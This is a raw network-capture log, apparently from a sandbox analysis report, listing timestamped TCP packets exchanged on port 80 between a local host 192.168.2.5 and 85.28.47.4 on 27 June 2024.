Jun 27, 2024 19:26:00.496478081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.496504068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.496510029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.496510029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.496520042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.496532917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.496536016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.496552944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.496552944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.496552944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.496573925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.496592999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.497210026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.497224092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.497237921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.497252941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.497267962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.497282028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.497283936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.497283936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.497283936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.497297049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.497313023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.497313976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.497328997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.497339010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.497339010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.497347116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.497364044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.497366905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.497366905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.497380018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.497395992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.497397900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.497397900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.497411966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.497416973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.497436047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.497453928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498195887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498212099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498224974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498239994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498245955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498255968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498267889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498271942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498289108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498289108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498305082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498313904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498313904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498321056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498332977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498337984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498354912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498358011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498358011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498370886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498378992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498388052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498404026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498404980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498404980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498421907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498424053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498440027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.498445988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498471022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.498471975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499038935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499057055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499078989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499094963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499095917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499118090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499134064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499135017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499135971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499150038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499166012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499169111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499169111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499169111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499180079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499197006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499197960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499197006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499213934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499219894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499229908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499241114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499250889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499268055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499268055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499268055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499285936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499289989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499306917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499326944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.499950886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499967098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499980927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.499995947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500010967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500010014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500010014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500031948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500041008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500041962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500049114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500061035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500065088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500082016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500085115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500085115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500097990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500104904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500113964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500124931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500130892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500142097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500148058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500163078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500164986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500163078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500185013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500189066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500209093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500220060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500220060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500243902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500845909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500860929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500874043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500889063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500904083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500905037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500920057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500926971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500936985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500947952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500953913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500968933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500968933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500988007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.500996113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.500996113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.501003027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.501015902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.501019955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.501034975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.501051903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.501060009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.501060009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.501060009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.501069069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.501085997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.501085997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.501107931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.583838940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.583856106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.583870888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.583936930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.583973885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.583998919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584013939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584028959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584043980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584058046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.584079981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.584105968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.584300995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584317923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584331036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584347010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584362030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584364891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.584364891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.584378004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584393024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.584397078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584413052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.584414005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584429026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584445000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.584470987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.584470987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.584688902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584703922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584739923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.584745884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584763050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.584770918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584786892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584786892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.584803104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.584810019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.584829092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585148096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585160971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585175991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585186958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585186958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585191011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585206985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585215092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585223913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585233927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585241079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585253954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585259914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585268021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585287094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585305929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585695028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585711002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585725069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585738897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585740089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585755110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585773945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585774899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585773945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585791111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585794926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585808039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585815907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585815907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585824013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585839987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585841894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585841894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585855961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585870981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585872889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585872889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585886002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585896969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585903883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.585911989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585928917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.585947990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.586311102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.586359978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.586394072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.586416960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.586431980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.586437941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.586447954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.586460114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.586464882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.586483955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.586487055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.586487055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.586498022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.586507082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.586529970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.586529970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.626740932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.631618023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.802854061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.802907944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.802923918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.802934885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.802985907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.802985907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803070068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803101063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803117037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803117990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803133011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803143978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803150892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803169966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803169966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803189993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803330898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803345919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803361893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803379059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803414106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803414106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803486109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803502083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803529024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803564072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803647995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803663969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803678036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803693056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803695917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803709030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803718090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803728104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803738117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803754091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.803757906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803786039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.803806067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804167032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804182053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804197073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804212093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804213047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804228067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804239988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804239988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804245949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804260015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804263115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804280043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804286957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804300070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804302931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804320097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804321051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804321051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804336071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804342985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804353952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804363012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804388046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804388046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804922104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804936886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804951906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804966927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804970980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804982901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.804996967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.804996967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.805000067 CEST	80	49705	85.28.47.4	192.168.2.5
